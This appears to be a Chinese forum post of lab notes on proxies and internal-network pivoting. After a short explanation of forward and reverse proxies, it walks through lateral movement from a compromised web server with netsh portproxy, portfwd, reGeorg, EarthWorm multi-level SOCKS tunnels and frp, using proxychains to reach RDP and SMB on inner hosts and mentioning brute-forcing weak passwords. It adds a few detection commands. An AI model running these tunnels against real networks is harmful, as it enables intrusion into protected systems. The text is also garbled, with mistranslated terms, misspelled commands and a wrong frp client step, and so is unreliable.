8月9日笔记

打印 上一主题 下一主题

主题 1079|帖子 1079|积分 3237

8月9日笔记

什么是署理?

“署理”通常指的是“网络署理”,它是一种特殊的网络服务,允许一个网络终端(一样寻常为客户端)通过这个服务与另一个网络终端(一样寻常为服务器)进行非直接的毗连。署理服务器作为中间人,吸收来自客户端的哀求,并将这些哀求转发给目标服务器,然后再将从目标服务器吸收到的响应返回给客户端。

这是没有署理时的哀求与响应。

有署理时的哀求与响应。
正向署理

正向署理时,由客户端发送对某一个目标服务器的哀求,发送到署理服务器,署理服务器在中间将哀求转发给该目标服务器,目标服务器将结果返回给署理服务器,署理服务器再将结果返回给客户端。
客户端发送的所有哀求都先颠末署理服务器,然后由署理服务器转发给目标服务器。使用正向署理时,客户端是需要配置署理服务的地址、端口、账号暗码(如有)等才可使用的。比如翻墙等等。

通过使用署理服务器,客户端的真实IP地址可以被隐藏,从而实现肯定程度的匿名访问。
反向署理

反向署理是一种特殊的网络署理服务,它位于一组后端服务器前面,吸收客户端的哀求并将这些哀求转发给后端服务器之一。客户端并不直接与后端服务器通信,而是通过反向署理服务器间接访问。这种配置重要用于负载平衡、缓存、安全性加强以及简化管理等多种目的。通过反向署理,可以将客户端的哀求分发到多个后端服务器以平衡负载,存储常用的静态内容以淘汰对后端服务器的哀求次数,隐藏真实服务器的IP地址以增加安全性。

正向署理和反向署理的区别

最焦点的不同在于署理的对象不同
正向署理是署理客户端
反向署理是署理服务器。
而根据这焦点的区别,可以知道:署理哪端便可以隐藏哪端(也就是说:正向署理隐藏真实客户端,反向署理隐藏真实服务端)。
内网署理常见的工具

某些环境下,为掩护内网安全以及优化网站负载服务端也会使用署理程序署理大量来自客户端的网络哀求,反向署理重要面向服务端服务,客户端的哀求会直接发给署理服务器,署理服务器会转发至服务端并将服务端响应返回值客户端。故而反向署理的过程中,客户端无法确定真实服务端地址,仅与署理端进行通信。攻击者在成功入侵某一台对外服务器后也会使用以上署理原理进行内网横向渗透进一步扩大战果,上传署理工具至对外服务器将其改造为跳板机,创建通往内网的通信隧道
netsh端口转发

netsh是windows体系自带命令行程序,攻击者无需上传第三方工具即可使用netsh程序可进行端口转发操作,可将内网中其他服务器的端口转发至本地访问,如内网某台服务器的ssh端口可转发至本地即可通过暴力破解或弱口令方式尝试登岸目标服务器。
靶机A是web服务器,靶机B在内网中。攻击者获取到靶机A的服务器权限,靶机B位于内网且未映射至互联网,此时通过使用靶机A自带命令行程序netsh,netsh可将攻击者的流量经由靶机A转发至靶机B,使得攻击者可以访问到位于内网的靶机B。
设置端口转发规则命令:
  1. netsh interface portproxy add v4tov4
  2.   listenaddress=<靶机A IP地址>
  3.   listenport=<靶机A端口>
  4.   connectaddress=<靶机B IP地址>
  5.   connectport=<靶机B 端口>
  6.   protocol={tcp|udp}
复制代码
如许攻击者只要使用靶机A的端口就可以访问靶机B的端口。
删除端口转发战略命令
  1. netsh interface portproxy delete v4tov4
  2. 2  listenaddress=<靶机A IP地址>
  3. 3  listenport=<靶机A 端口>
  4. 4  protocol={tcp|udp}
复制代码
使用以下命令可以确认主机是否被恶意植入了端口转发战略(反制)
  1. netsh interface portproxy show v4tov4
复制代码
portfwd端口转发

portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4以及IPV6的端口转发。攻击者在获取对外服务器权限后为扩大战果,会上传端口转发工具至对外服务器,得到更多的可攻击面。比方将失陷主机的任意可访问端口转发至内网某台服务器的远程桌面端口,即可通过暴力破解和弱口令的方式尝试登岸内网服务器。实际环境下攻击者使用靶机的毛病上传改工具。
portfwd分为两种:tcpfwd和udpfwd
用法:
  1. 用tcp连接将本地端口 1022 映射到 192.168.5.138:3389
  2. ---------------------------
  3. tcpfwd 0.0.0.0:1022 192.168.1.77:22     # allow access from all hosts
  4. tcpfwd 127.0.0.1:1022 192.168.1.77:22   # only allow localhost
  5. tcpfwd [::]:1022 192.168.1.77:22        # allow access to port 1022 via both IPv4 and IPv6
  6. -----------------------------------
  7. 用udp连接将本地端口 53 映射到 192.168.5.138:3389
  8. -------------------------
  9. udpfwd 0.0.0.0:53 8.8.8.8:53
  10. udpfwd [::]:53 8.8.8.8:53
复制代码
通过如下命令可以确定历程的可实验文件所在位置,并进行清除。(反制)
  1. ls -al /proc/pid
复制代码
在靶机B上运行如下命令可以看到靶机A与自身的远程桌面3389端口创建了tcp毗连。(反制)
  1. netstat -ano
复制代码
regeorg正向署理

ReGeorg 是一个用于内网穿透的工具,它可以大概帮助用户在受到防火墙或网络限制的环境下创建到目标网络的毗连。ReGeorg 重要通过使用 HTTP 协议作为传输层来实现这一目的,因此可以在大多数网络环境下工作,纵然是在那些禁止了其他协议(如 SSH 或 Telnet)的网络中。
攻击机:kali 192.168.5.15
靶机A(web服务器):192.168.5.114
靶机B:192.168.5.124
ReGeorg 通常通过 Python 脚原来实现。要使用 ReGeorg,靶机A需要具备 Python 环境,并安装须要的依赖包。安装过程通常包罗克隆项目仓库并安装所需的 Python 库。
在攻击机上实验如下命令下载regeorg署理工具包
  1. git clone https://github.com/sensepost/reGeorg.git
复制代码
在攻击机上运行socks署理脚本
  1. python reGeorgSocksProxy.py -u http://192.168.5.114:8080/reGeorg-master/tunnel.jsp -p 1088
  2. -u: 指定 HTTP 代理服务器的 URL 地址,该 URL 地址指向了一个包含 ReGeorg 代理脚本的 Web 服务器。
  3. -p: 指定本地监听的端口,客户端可以通过这个端口连接到 SOCKS 代理。
复制代码
提示georg says, ‘all seems fine’说明毗连成功,已完成端口复用。
在攻击机上配置本地全局署理proxychains,使得本地攻击流量可通过regeorg创建的http隧道转发至内网其他服务器。攻击机自带proxychains全局署理工具,默认路径为/etc/proxychains4.conf,编辑配置文件在文件最后增加如下配置:Socks5 127.0.0.1 1088
以上配置使得攻击机可将支持socks5协议的攻击流量通过本地1088端口转发至靶机A,再通过靶机A转发至内网其他服务器。
通过靶机A转发到靶机B的命令:(在攻击机上运行)
  1. proxychains telnet 192.168.5.124 445
复制代码
查看靶机A上的网络毗连,可以看到攻击机的哀求成功实现端口复用,复用了java历程创建的端口毗连了靶机B的445端口。查看靶机B的网络毗连无法看到攻击机ip地址,靶机A作为攻击机的正向署理
使用端口扫描工具对靶机B进行端口扫描:
  1. proxychains4 namp -sV -Pn 192.168.5.124
复制代码
此时在靶机B上看到的所有端口扫描哀求源地址均来自靶机A而不是攻击机。
earthworm反向署理

Earthworm(偶然拼写为 Arthworm)是一套便携式的网络穿透工具,它提供了 socks 署理和端口转发两大焦点功能,支持正向署理、反向署理、多级署理等多种方式来打通网络隧道。Earthworm 可以大概在复杂网络环境下完成网络穿透和内网横向渗透的使命。
使用earthworm反向署理进行内网横向渗透

靶机A: 192.168.5.10
靶机B: 192.168.5.12
攻击机: 192.168.5.2
工具攻击机下载:
  1. git clone https://github.com/idlefire/ew.git
复制代码
  1. ./ew_for_linux64 -s rcsocks -l 1080 -e 8888
  2. #在攻击机本地开启1080和8888监听端口,并将1080端口收到的流量转发至8888端口。
复制代码
使用命令netstat -antlp 可以看到攻击机本地开启了1080和8888监听端口。
  1. #在靶机A上上传earthworm,并运行如下命令连接攻击机的8888端口,建立与攻击机的反向代理。
  2. ./ew -s rssocks -d vpsip -e 8888
复制代码
在攻击机上修改全局署理软件proxychains的配置文件,默认路径为/etc/proxychains4.conf。编辑配置文件在文件最后增加如下配置:Socks5 127.0.0.1 1080
实际环境下攻击机地址一样寻常为公网vps地址,若为公网vps地址,此时全局署理配置ip应设置为vps地址。
在攻击机上使用如下命令通过署理隧道探测靶机B的3389端口是否开启,telnet使用的是tcp协议,而socks5协议支持tcp和udp协议数据的通报。
  1. proxychains telnet 192.168.5.12 3389
复制代码
在靶机B上只能看到靶机A的地址与自身3389端口创建了毗连,无法看到攻击机地址。
此时使用全局署理以及靶机A的署理隧道,纵然靶机B处于内网无法通过外网访问,也可通过此署理隧道实现远程登录靶机B,实现内网的横向移动。
  1. 使用如下命令远程登录靶机B:
  2. proxychains4 resktop 192.168.5.12
复制代码
攻击机弹出了靶机B的远程桌面端口,此时若靶机B使用了弱暗码或被暴力破解成功即可实现远程登录。
使用earthworm多级署理进行内网横向渗透

靶机A: 192.168.5.10
靶机B: 192.168.5.12
靶机C: 192.168.5.16
攻击机: 192.168.5.2
某些条件下,内网某些服务器无法访问互联网,需通过级联的方式将可访问互联网的主机作为一级署理毗连攻击机,二级署理毗连一级署理主机即可形成通信隧道,攻击机可通过级联的方式将攻击流量转发至更深入的内网。
在攻击机上运行如下命令,可在攻击机本地开启1080和6666监听端口,并将1080端口收到的流量转发至6666端口。
  1. ./ew -s lcx_listen -l 1080 -e 6666
复制代码
  1. #在靶机B上运行如下命令,可开启9999端口的正向代理
  2. ./ew -s ssocksd -l 9999
  3. #在靶机A上运行如下命令,同时连接攻击机的反向代理端口和靶机B的正向代理端口
  4. ./ew -s lcx_slave -d 192.168.5.2 -e 6666 -f 192.168.5.12 -g 9999
复制代码
在攻击机上使用如下命令通过署理隧道探测靶机C的3389端口是否开启,telnet使用的是tcp协议,而socks5协议支持tcp和udp协议数据的通报。
  1. proxychains telnet 192.168.5.16 3389
复制代码
此时登录靶机C查看网络毗连会看到telnet哀求触发的tcp毗连发起端为靶机B。说明攻击机发起的哀求经由靶机A转发至靶机B,有经由靶机B的正向署理转发至靶机C。
  1. proxychains4 resktop 192.168.5.16
  2. #攻击机弹出了靶机C的远程桌面端口,此时若靶机C使用了弱密码或被暴力破解成功即可实现远程登录。
复制代码
frp反向署理

frp(Fast Reverse Proxy)是一个高性能的反向署理应用,用于实现内网穿透,可以在复杂网络环境下帮助用户创建网络毗连。frp 重要用于办理内网服务器无法被外部网络直接访问的题目,通过在公网服务器上摆设 frp 服务器端,并在内网服务器上摆设 frp 客户端,实现内外网之间的通信。


  • 服务器端 (frps):摆设在公网服务器上,负责吸收客户端的毗连哀求,并将哀求转发到对应的内网服务器。
  • 客户端 (frpc):摆设在内网服务器上,负责与服务器端创建毗连,并将数据转发给服务器端。
但此类操作存在较大安全隐患,会将内网服务直接袒露在公网。
靶机A: 192.168.5.10
靶机B: 192.168.5.12
攻击机: 192.168.5.2
工具下载
  1. wget https://github.com/fatedier/frp/releases/download/v0.35.1/frp_0.35.1_linux_amd64.tar.gz
复制代码
首先需要修改两个配置文件:frps.ini和frpc.ini
frps.ini修改内容:
  1. [common]
  2. bind_addr = 0.0.0.0
  3. bind_port = 33310
  4. allow_ports = 33310-33410
  5. token = 52010 #随便自己改
复制代码
  1. 在攻击机(公网服务器)上启动服务端
  2. ./frps -c frps.ini
复制代码
frpc.ini修改内容:
  1. [common]
  2. server_addr = 192.168.5.2 #指定了 frp 服务器端的 IP 地址。
  3. server_port = 33310        #指定了 frp 服务器端监听的端口
  4. token = 52010
  5. [socks_proxy]
  6. type = tcp
  7. plugin = socks5
  8. remote_port = 33311        #指定了在服务器端公开的端口,客户端可以通过这个端口连接到 SOCKS5 代理。
  9. local_port = 33311        #指定了本地监听的端口,客户端将通过这个端口与 SOCKS5 代理进行通信。
复制代码
  1. 在内网靶机A(内网服务器)上反向代理客户端
  2. ./frps -c frps.ini
复制代码
在攻击机上修改全局署理软件proxychains的配置文件,默认路径为/etc/proxychains4.conf,配置socks5署理地址和端口如下:
  1. socks5 127.0.0.1 33311
复制代码
  1. proxychains4 resktop 192.168.5.12
  2. 攻击机弹出了靶机B的远程桌面端口,此时若靶机B使用了弱密码或被暴力破解成功即可实现远程登录。
复制代码
注意:这个是在本地进行测试的,在公网服务器上的话,frps.ini和frpc.ini配置跟上面不一样。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

勿忘初心做自己

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表